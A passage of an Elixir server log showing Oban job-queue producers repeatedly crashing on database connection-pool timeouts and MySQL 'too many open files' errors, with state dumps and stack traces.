State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:35:00.239858Z], limit: 20, uuid: "42a18c18-ec19-40eb-95f8-db87ba99f176", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:35:00.239864Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.65726>, refresh_timer: #Reference<0.2525715032.1099431938.63991>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:35:12.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1082ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:35:00.239656Z], limit: 50, uuid: "6f853a09-e0ff-40aa-8f15-245482315f46", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:35:00.239662Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.65728>, refresh_timer: #Reference<0.2525715032.1077673987.45156>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:35:12.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 881ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:35:00.239644Z], limit: 10, uuid: "4bea85f8-819f-40ff-9015-88e6c6bcbefe", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:35:00.239658Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.65727>, refresh_timer: #Reference<0.2525715032.1099431938.63989>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:35:12.282000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:35:15.523000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:35:15.894000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:35:20.024000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:35:23.589000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:35:24.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1051ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:35:12.239883Z], limit: 20, uuid: "dabaa4f1-a344-4f27-ae73-18d9fb5eece3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:35:12.239889Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.65907>, refresh_timer: #Reference<0.2525715032.1068498948.65870>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:35:24.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1071ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:35:12.239804Z], limit: 5, uuid: "40e37b85-4e28-4ef7-a88f-ad0d451a4262", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:35:12.239812Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.65908>, refresh_timer: #Reference<0.2525715032.1068498948.65867>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:35:24.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 874ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:35:12.239202Z], limit: 5, uuid: "117d276a-560e-42cf-a209-d9b380165c04", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:35:12.239210Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.65909>, refresh_timer: #Reference<0.2525715032.1068498948.65856>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:35:24.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 826ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:35:12.239636Z], limit: 3, uuid: "1ab6a38a-0bbe-43a5-9e43-4e61a323f3fc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:35:12.239644Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.45467>, refresh_timer: #Reference<0.2525715032.1077673987.45450>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:35:24.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 897ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:35:12.239846Z], limit: 10, uuid: "d3a2259b-81c4-4e57-a016-df7cf2df15ec", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:35:12.239852Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.45468>, refresh_timer: #Reference<0.2525715032.1068498948.65873>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:35:24.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 868ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:35:12.239925Z], limit: 50, uuid: "d774bc1e-b1db-42c5-addb-ad862c99d89a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:35:12.239933Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.45466>, refresh_timer: #Reference<0.2525715032.1077673987.45458>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:35:24.801000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:35:26.117000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:35:26.364000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:35:31.625000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:35:31.727000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:35:35.178000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:35:35.910000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:35:36.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1094ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

